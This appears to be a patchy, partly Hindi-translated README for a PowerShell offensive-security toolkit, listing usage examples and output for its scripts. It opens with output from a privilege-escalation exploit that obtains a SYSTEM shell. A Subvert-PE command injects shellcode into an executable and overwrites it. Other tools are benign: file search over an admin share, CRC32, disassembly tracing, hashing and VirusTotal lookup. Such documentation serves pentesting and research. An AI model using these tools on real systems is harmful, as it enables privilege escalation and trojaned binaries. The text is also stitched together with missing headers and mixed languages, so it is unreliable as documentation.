[+] Resuming thread..
[*] Sniffing out SYSTEM shell..
[>] Duplicating SYSTEM token
[>] Starting token race
[>] Starting process race
[!] Holy handle leak Batman, we have a SYSTEM shell!!
PE इमेज में शेलकोड इंजेक्ट करें जबकि PE की कार्यक्षमता बनी रहे।
अतिरिक्त जानकारी के लिए, कृपया देखें:
Same as above but continue to inject shellcode and overwrite the binary. C:\PS> Subvert-PE -Path C:\Path\To\PE.exe -Write
## Utility
### Get-LimitChildItem
Get-ChildItem के लिए डेप्थ-सीमित रैपर, जिसमें बुनियादी फ़िल्टर कार्यक्षमता शामिल है।```
# UNC path txt file search
PS C:\> Get-LimitChildItem -Path "\\192.168.84.129\C$\Program Files\" -MaxDepth 5 -Filter "*.txt"
\\192.168.84.129\C$\Program Files\Windows Defender\ThirdPartyNotices.txt
\\192.168.84.129\C$\Program Files\VMware\VMware Tools\open_source_licenses.txt
\\192.168.84.129\C$\Program Files\VMware\VMware Tools\vmacthlp.txt
\\192.168.84.129\C$\Program Files\Windows NT\TableTextService\TableTextServiceAmharic.txt
\\192.168.84.129\C$\Program Files\Windows NT\TableTextService\TableTextServiceArray.txt
\\192.168.84.129\C$\Program Files\Windows NT\TableTextService\TableTextServiceDaYi.txt
\\192.168.84.129\C$\Program Files\Windows NT\TableTextService\TableTextServiceTigrinya.txt
\\192.168.84.129\C$\Program Files\Windows NT\TableTextService\TableTextServiceYi.txt
# Local wildcard *ini* search
PS C:\> Get-LimitChildItem -Path C:\ -MaxDepth 3 -Filter "*ini*"
C:\Windows\system.ini
C:\Windows\win.ini
C:\Windows\Boot\BootDebuggerFiles.ini
C:\Windows\Fonts\desktop.ini
C:\Windows\INF\mdmminij.inf
C:\Windows\Media\Windows Minimize.wav
C:\Windows\PolicyDefinitions\PenTraining.admx
C:\Windows\PolicyDefinitions\WinInit.admx
C:\Windows\System32\dwminit.dll
C:\Windows\System32\ie4uinit.exe
C:\Windows\System32\ieuinit.inf
C:\Windows\System32\PerfStringBackup.INI
C:\Windows\System32\rdpinit.exe
C:\Windows\System32\regini.exe
C:\Windows\System32\secinit.exe
C:\Windows\System32\tcpmon.ini
C:\Windows\System32\TpmInit.exe
C:\Windows\System32\userinit.exe
C:\Windows\System32\userinitext.dll
C:\Windows\System32\UXInit.dll
C:\Windows\System32\WimBootCompress.ini
C:\Windows\System32\wininet.dll
C:\Windows\System32\wininetlui.dll
C:\Windows\System32\wininit.exe
C:\Windows\System32\wininitext.dll
C:\Windows\System32\winipcfile.dll
C:\Windows\System32\winipcsecproc.dll
C:\Windows\System32\winipsec.dll
C:\Windows\SysWOW64\ieuinit.inf
C:\Windows\SysWOW64\regini.exe
C:\Windows\SysWOW64\secinit.exe
C:\Windows\SysWOW64\TpmInit.exe
C:\Windows\SysWOW64\userinit.exe
C:\Windows\SysWOW64\userinitext.dll
C:\Windows\SysWOW64\UXInit.dll
C:\Windows\SysWOW64\WimBootCompress.ini
C:\Windows\SysWOW64\wininet.dll
C:\Windows\SysWOW64\wininetlui.dll
C:\Windows\SysWOW64\wininitext.dll
C:\Windows\SysWOW64\winipcfile.dll
C:\Windows\SysWOW64\winipcsecproc.dll
C:\Windows\SysWOW64\winipsec.dll
अप्रलेखित RtlComputeCrc32 फ़ंक्शन के लिए एक सरल रैपर।```
C:\PS> $String = [System.Text.Encoding]::ASCII.GetBytes("Testing!") C:\PS> Get-CRC32 -Buffer $String C:\PS> 2392247274
### Trace-Execution
पीई (x32/x64) को उसके एंट्री पॉइंट से पुनरावर्ती रूप से डिसअसेंबल करने के लिए Capstone इंजन का उपयोग करता है, प्रभावी रूप से निष्पादन प्रवाह का "अनुसरण" करता है। निम्नलिखित नियमों का पालन किया जाता है:
- jmp's को लिए जाते हैं यदि वे PE एड्रेस स्पेस में आते हैं
- call's को लिए जाते हैं यदि वे PE एड्रेस स्पेस में आते हैं
- ret's को लिए जाते हैं और call निर्देशों द्वारा संग्रहीत रिटर्न एड्रेस का उपयोग करते हैं
- अप्रत्यक्ष call/jmp's को नहीं लिए जाते हैं
- सशर्त jmp's को नहीं लिए जाते हैं
- किसी रजिस्टर को संदर्भित करने वाले call/jmp's को नहीं लिए जाते हैं
यहाँ बहुत सारे एज केस हैं जो डिसअसेंबली को अविश्वसनीय बना सकते हैं। एक सामान्य नियम के रूप में, जितने अधिक एड्रेस आप डिसअसेंबल करते हैं, आउटपुट उतना ही कम विश्वसनीय होता है। कॉल टेबल का उपयोग आउटपुट की सत्यता का आकलन करने के लिए संदर्भ के रूप में किया जा सकता है।
चूंकि डिसअसेंबली स्थिर है, बाइट ऐरे पर काम करते हुए, x32/x64 PE को PowerShell की बिटनेस की परवाह किए बिना डिसअसेंबल किया जा सकता है।```
PS C:\> Trace-Execution -Path .\Desktop\some.exe -InstructionCount 10
[>] 32-bit Image!
[?] Call table:
Address Mnemonic Taken Reason
------- -------- ----- ------
0x4AD0829A call Yes Relative offset call
0x4AD07CB7 call No Indirect call
[?] Instruction trace:
Size Address Mnemonic Operands Bytes RegRead RegWrite
---- ------- -------- -------- ----- ------- --------
5 0x4AD0829A call 0x4ad07c89 {232, 234, 249, 255...} {esp}
2 0x4AD07C89 mov edi, edi {139, 255, 249, 255...}
1 0x4AD07C8B push ebp {85, 255, 249, 255...} {esp} {esp}
2 0x4AD07C8C mov ebp, esp {139, 236, 249, 255...}
3 0x4AD07C8E sub esp, 0x10 {131, 236, 16, 255...} {eflags}
5 0x4AD07C91 mov eax, dword ptr [0x4ad240ac] {161, 172, 64, 210...}
4 0x4AD07C96 and dword ptr [ebp - 8], 0 {131, 101, 248, 0...} {eflags}
4 0x4AD07C9A and dword ptr [ebp - 4], 0 {131, 101, 252, 0...} {eflags}
1 0x4AD07C9E push ebx {83, 101, 252, 0...} {esp} {esp}
1 0x4AD07C9F push edi {87, 101, 252, 0...} {esp} {esp}
5 0x4AD07CA0 mov edi, 0xbb40e64e {191, 78, 230, 64...}
5 0x4AD07CA5 mov ebx, 0xffff0000 {187, 0, 0, 255...}
2 0x4AD07CAA cmp eax, edi {59, 199, 0, 255...} {eflags}
6 0x4AD07CAC jne 0x4ad1bc8c {15, 133, 218, 63...} {eflags}
1 0x4AD07CB2 push esi {86, 133, 218, 63...} {esp} {esp}
3 0x4AD07CB3 lea eax, dword ptr [ebp - 8] {141, 69, 248, 63...}
1 0x4AD07CB6 push eax {80, 69, 248, 63...} {esp} {esp}
6 0x4AD07CB7 call dword ptr [0x4ad01150] {255, 21, 80, 17...} {esp}
3 0x4AD07CBD mov esi, dword ptr [ebp - 4] {139, 117, 252, 0...}
3 0x4AD07CC0 xor esi, dword ptr [ebp - 8] {51, 117, 248, 0...} {eflags}
PowerShell v2 संगत स्क्रिप्ट जो फ़ाइल हैश की गणना करती है। मैंने इसे जल्दी से बनाया क्योंकि Get-FileHash केवल v4+ में उपलब्ध है।``` Get the SHA512 hash of "C:\Some\File.path". C:\PS> Calculate-Hash -Path C:\Some\File.path -Algorithm SHA512
### Check-VTFile
किसी फ़ाइल का SHA256 हैश Virus Total को सबमिट करें और यदि हैश ज्ञात है तो स्कैन रिपोर्ट प्राप्त करें। इसके लिए आपको एक निःशुल्क VirusTotal API कुंजी प्राप्त करनी होगी। फिर, इसके लिए बहुत सारे बेहतर प्रोजेक्ट मौजूद हैं, लेकिन वे PowerShell v2 संगत नहीं हैं।```
C:\PS> Check-VTFile -Path C:\Some\File.path